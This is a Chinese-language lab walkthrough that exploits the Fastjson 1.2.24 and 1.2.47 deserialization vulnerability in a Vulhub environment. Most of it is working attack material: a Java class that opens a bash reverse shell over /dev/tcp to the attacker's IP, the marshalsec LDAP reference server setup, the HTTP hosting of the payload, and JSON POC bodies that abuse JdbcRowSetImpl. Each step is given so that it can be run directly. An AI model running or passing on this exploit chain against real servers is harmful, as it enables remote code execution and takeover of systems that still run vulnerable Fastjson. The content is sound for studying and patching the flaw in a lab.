Fastjson版本:1.2.24和1.2.47
准备环境:Vulhub
靶机地址:192.168.30.129(kali)
攻击机:192.168.1.43(win10)
开始
启动环境:
docker-compose up -d
查看正在运行中的容器:
docker ps
启动成功后,访问网址:192.168.30.129:8090
下载工具:marshalsec(https://github.com/mbechler/marshalsec)
它的用法:需要 Java 8环境,然后使用 maven将文件夹marshalsec打成可用的jar包。
所以也需要maven环境。
安装好maven后在命令行输入mvn -v,显示maven的版本说明安装成功。
在marshalsec目录下进入命令行,输入命令:
mvn clean package -DskipTests
打包成功时页面会出现BIULD SUCCESS!
现在在攻击机(win10)上开启监听:
ncat -lvvp 6666
编译文件test.java
// bash -i >& /dev/tcp/192.168.1.43/6666 0>&1 这里的ip是攻击机的IP,以及监听的端口6666
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.1.43/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译test.java,输入命令:
javac test.java
(记得把中文注释去掉,不然会报错)
得到test.class
然后用攻击机搭建临时的http服务,这里用的是python2
python -m SimpleHTTPServer 8445
在浏览器访问http://192.168.1.43:8445,页面会显示攻击机的文件树
现在在攻击机启动LDAP服务,监听1389端口,并加载刚刚编译好的test.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.43:8445/#test" 1389
最后向靶机(192.168.30.129)发送构造好的poc数据
记得将GET改成POST
// 1.2.24版本poc
{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://192.168.1.43:1389/test”,
“autoCommit”:true
}
}
成功反弹shell
//1.2.47版本POC
{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://192.168.1.43:1389/test”,
“autoCommit”:true
}
}
同样反弹成功
希望这篇文章对你有所帮助。